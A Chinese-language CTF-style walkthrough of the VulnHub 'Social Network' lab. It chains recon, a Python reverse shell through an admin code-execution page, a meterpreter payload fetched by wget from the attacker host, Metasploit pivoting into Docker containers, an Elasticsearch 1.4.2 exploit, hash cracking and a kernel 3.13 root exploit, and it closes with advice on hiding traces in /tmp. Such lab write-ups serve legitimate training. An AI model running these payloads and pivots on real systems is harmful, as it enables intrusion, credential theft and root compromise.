BoredHackerBlog: Social Network WP

靶机介绍

该靶机来源:

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

BoredHackerBlog: Social Network WP

本地网络环境

渗透主机(kali):192.168.10.3

渗透主机(win7):192.168.10.4

靶机:192.168.10.5/172.17.0.1

内网docker靶机:172.17.0.2(web)、172.17.0.3(存密码)

搭建平台:vmware,网络连接形式为NAT

一、信息收集

主机发现

因为在实验环境下,宿主机和目标机是在同一环境网络下,故可以使用如下命令发现主机:

netdiscover -r 192.168.10.0/24 #效率太慢,不推荐使用
BoredHackerBlog: Social Network WP

arp-scan -l

BoredHackerBlog: Social Network WP

本实验环境下,目标机器IP地址为: 192.168.10.5

NMAP 端口扫描

nmap -A 192.168.10.5

BoredHackerBlog: Social Network WP

发现目标开放22、5000端口(http服务),并有python2环境。

22端口不存在弱口令,访问5000端口,对该web服务进行目录扫描,尽可能发现敏感信息和后台目录。

BoredHackerBlog: Social Network WP

dirsearch 目录扫描

dirsearch -u "http://192.168.10.5:5000/" -e * -i 200

BoredHackerBlog: Social Network WP

二、WEB打点

访问/admin,发现其后台可以执行python代码。

BoredHackerBlog: Social Network WP

这里直接python反弹shell到kali。

kali开启监听 nc -lvvp 7777

web 反弹shell payload:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.3",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

反弹shell到kali MSF,将权限迁移到MSF

msf 生成回连木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -f elf > 4444.elf

kali开启http服务
python3 -m http.server 1081

通过网页后台反弹到shell下载木马:
wget http://192.168.10.3:1081/4444.elf

添加权限
chmod +x 4444.elf

BoredHackerBlog: Social Network WP

msf本地设置监听以及使用payload:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
run

然后在网页的反弹shell中执行
./4444.elf

可以看到成功反弹shell回到MSF。

BoredHackerBlog: Social Network WP

内网信息收集

查看当前用户权限:

BoredHackerBlog: Social Network WP

为root用户

kali接受到反弹的shell,用id查下权限,用ls查下文件,发现是root权限,但查看文件时发现了一个Dockerfile文件,猜测可能时docker主机,需要进一步确认。

查看Dockerfile文件cat Dockerfile,内容如下,判断可能是docker

进一步判断,查看根目录下是否有dockerenv,ls /.dockerenv,发现存在,判断90%是docker容器

最后判断,cat /proc/1/cgroup

cgroup内有docker文件判断其就是docker容器

判断依据:Linux初始化进程时,PID=1代表的是初始化进程的ID,如果1进程下面的cgroup文件包含docker文件,就说明这是个docker系统。

查看ifconfig

BoredHackerBlog: Social Network WP

查看网段:
run get_local_subnets
BoredHackerBlog: Social Network WP

添加路由:
run autoroute -s 172.17.0.2/24

BoredHackerBlog: Social Network WP

background

让meterpreter会话在后台运行

查看会话命令: sessions -l

BoredHackerBlog: Social Network WP

sessions ID(会话ID)

内网存活网段扫描:

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2/24
set threads 100

发现目标存在
172.17.0.1
172.17.0.3

使用msf的代理模块+proxychains4进行代理

use auxiliary/server/socks_proxy

无需配置,直接使用默认的参数

BoredHackerBlog: Social Network WP

配置proxychains4代理文件:
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

BoredHackerBlog: Social Network WP

在配置好代理之后,可以使用kali的代理工具proxychains4进行内网渗透。

使用namp工具进行端口扫描看看它开放了那些端口服务:

注释:(因为socks4不支持ICMP协议,不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)

proxychains4 nmap -Pn -sT 172.17.0.1

BoredHackerBlog: Social Network WP

proxychains4 nmap -Pn -sT 172.17.0.2

BoredHackerBlog: Social Network WP

proxychains4 nmap -Pn -sT 172.17.0.3

BoredHackerBlog: Social Network WP

设置代理

BoredHackerBlog: Social Network WP

三、内网渗透

在通过sockscap配置好代理后,将google浏览器添加到该软件的代理程序上

BoredHackerBlog: Social Network WP

访问http://172.17.0.3:9200,发现此elasticsearch版本为1.4.2。

BoredHackerBlog: Social Network WP

metasploit 搜索 elasticsearch,elasticsearch版本1.4.2 存在低版本漏洞,利用此payload进行攻击。

exploit/multi/elasticsearch/search_groovy_script

具体配置如下:

BoredHackerBlog: Social Network WP

成功获得meterpreter会话:

BoredHackerBlog: Social Network WP

发现为root用户,成功获得docker elasticsearch(类似内网服务器)的root权限。

BoredHackerBlog: Social Network WP

查看此docker服务器下,发现一passwords文件,cat查看一下发现为登录用户的账号密码。

BoredHackerBlog: Social Network WP

在网站https://crackstation.net/对hash进行破解:

BoredHackerBlog: Social Network WP

四、宿主机本地提权

对破解出来的用户逐一登录宿主机ssh,最终发现用户 join/1337hack 可以成功登录 ssh 192.168.10.5

BoredHackerBlog: Social Network WP

使用命令收集此服务器内核版本

uname -a
cat /etc/issue
内核为3.13.0

BoredHackerBlog: Social Network WP

kali本地搜索内核版本查找exp,

searchsploit linux 3.13
BoredHackerBlog: Social Network WP

选择37292.c来利用,首先将文件复制到新建的gcc文件夹下

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

vim 37292.c:查看下exp代码发现代码末尾会调用gcc来编译ofs-lib.c文件,这个操作靶机上是会报错的,因为靶机上没有gcc环境。

BoredHackerBlog: Social Network WP

改正措施

我们可以把ofs-lib.so文件和exp文件一同上传到靶机,改成只是调用文件,编译代码操作我们在kali本地完成,这时代码里的编译文件的代码也就不需要了,删除方框内编译代码即可。

BoredHackerBlog: Social Network WP

BoredHackerBlog: Social Network WP

本地编译gcc -o exp2 37292.c

BoredHackerBlog: Social Network WP

寻找编译过后的ofs-lib.so文件,看是否存在,find /usr -name ofs-lib.so,存在直接复制到当前文件夹下

BoredHackerBlog: Social Network WP

开启一个http服务,以便靶机能够把提权文件下载下来

python3 -m http.server 81

下载的文件需要放在tmp目录下,因为提权文件里写的路径是/tmp,而且tmp是存放临时文件的,会消除我们上传的文件,有利于隐藏攻击。

执行exp2,查看权限,已经是root,任务完成。

BoredHackerBlog: Social Network WP

五、总结

寻找目标

靶机和kali在同一网段,直接采用arp-sacn -l扫描主机;也可以采用nmap扫描

收集信息

发现靶机的端口,服务,利用dirsearch -u http://192.168.10.5:5000扫描目录发现/admin路径;其他扫描工具也可以

验证测试

测试/admin存在代码执行漏洞,直接传python代码反弹shell拿到web权限

当前主机分析

由于靶机描述存在Docker,且发现Dockerfile文件,猜测是Docker容器,看ip发现在内网,可以进行横向发现

进入内网&内网穿透

内网发现三台存活主机,继续进行信息收集,由于在内网,使用MSF进行内网穿透,配置proxychains4方便工具利用穿透代理;

内网信息收集

连接代理,对内网其他主机进行扫描,发现172.17.0.1是靶机主体,发现172.17.0.3上存在Elasticsearch低版本代码执行漏洞;

kali漏洞exp利用

拿下172.17.0.3后发现上面存有账户密码,解密,测试,发现主机一普通账户

账户本地提权

收集信息知道靶机linux内核版本不高,存在越权漏洞,靶机下载kali上的越权文件实现本地越权。

痕迹隐藏

操作集中在/tmp夹下,linux会定时清理这文件夹下的文件,方便隐藏痕迹。

六、参考文章

https://www.0x1ceb00da.net/boredhackerblog-social-network

https://mp.weixin.qq.com/s/yswQt8fTJyF4QGlyVI30cw

上一篇:操作系统加载相关


下一篇:VMware中安装Linux-kali.2021(详细图文教程)